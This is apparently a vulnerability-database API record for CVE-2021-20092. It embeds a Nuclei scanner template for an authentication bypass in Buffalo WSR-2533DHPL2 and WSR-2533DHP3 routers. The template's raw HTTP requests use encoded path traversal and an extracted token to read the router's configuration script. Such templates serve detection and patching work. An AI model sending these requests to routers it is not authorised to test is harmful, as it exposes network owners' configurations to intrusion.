{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-20092/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-20092/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-20092/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-20092/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-20092/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-20092"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-20092"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-20092.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2021-20092\n\ninfo:\n  name: Buffalo WSR-2533DHPL2 - Improper Access Control\n  author: gy741,pdteam,parth\n  severity: high\n  description: |\n    The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly restrict access to sensitive information from an unauthorized actor.\n  impact: |\n    An attacker can exploit this vulnerability to gain unauthorized access to the router's configuration settings and potentially compromise the entire network.\n  remediation: |\n    Apply the latest firmware update provided by Buffalo to fix the access control issue.\n  reference:\n    - https://www.tenable.com/security/research/tra-2021-13\n    - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-20091\n    - https://github.com/ARPSyndicate/cvemon\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2021-20092\n    cwe-id: CWE-287\n    epss-score: 0.0817\n    epss-percentile: 0.94614\n    cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: buffalo\n    product: wsr-2533dhpl2-bk_firmware\n  tags: cve2021,cve,buffalo,firmware,iot,tenable,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /images/..%2finfo.html HTTP/1.1\n        Host: {{Hostname}}\n        Referer: {{BaseURL}}/info.html\n      - |\n        GET /images/..%2fcgi/cgi_i_filter.js?_tn={{trimprefix(base64_decode(httoken), base64_decode(\"R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\"))}} HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: lang=8; url=ping.html; mobile=false;\n        Referer: {{BaseURL}}/info.html\n        Content-Type: application/x-www-form-urlencoded\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"application/x-javascript\"\n\n      - type: word\n        words:\n          - \"/*DEMO*/\"\n          - \"addCfg(\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: httoken\n        group: 1\n        regex:\n          - 'base64\\,(.*?)\" border='\n        internal: true\n# digest: 490a0046304402207d36ad0d4b5fa66d927eb33b4667b6edfa0d2a8be9c3e778eb8b386c16f195d002205a868ea8e4fff2fd9f470cd953f6d47d0cd71f1b5e30632d6b6bdba33faa75f3:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-20092"
}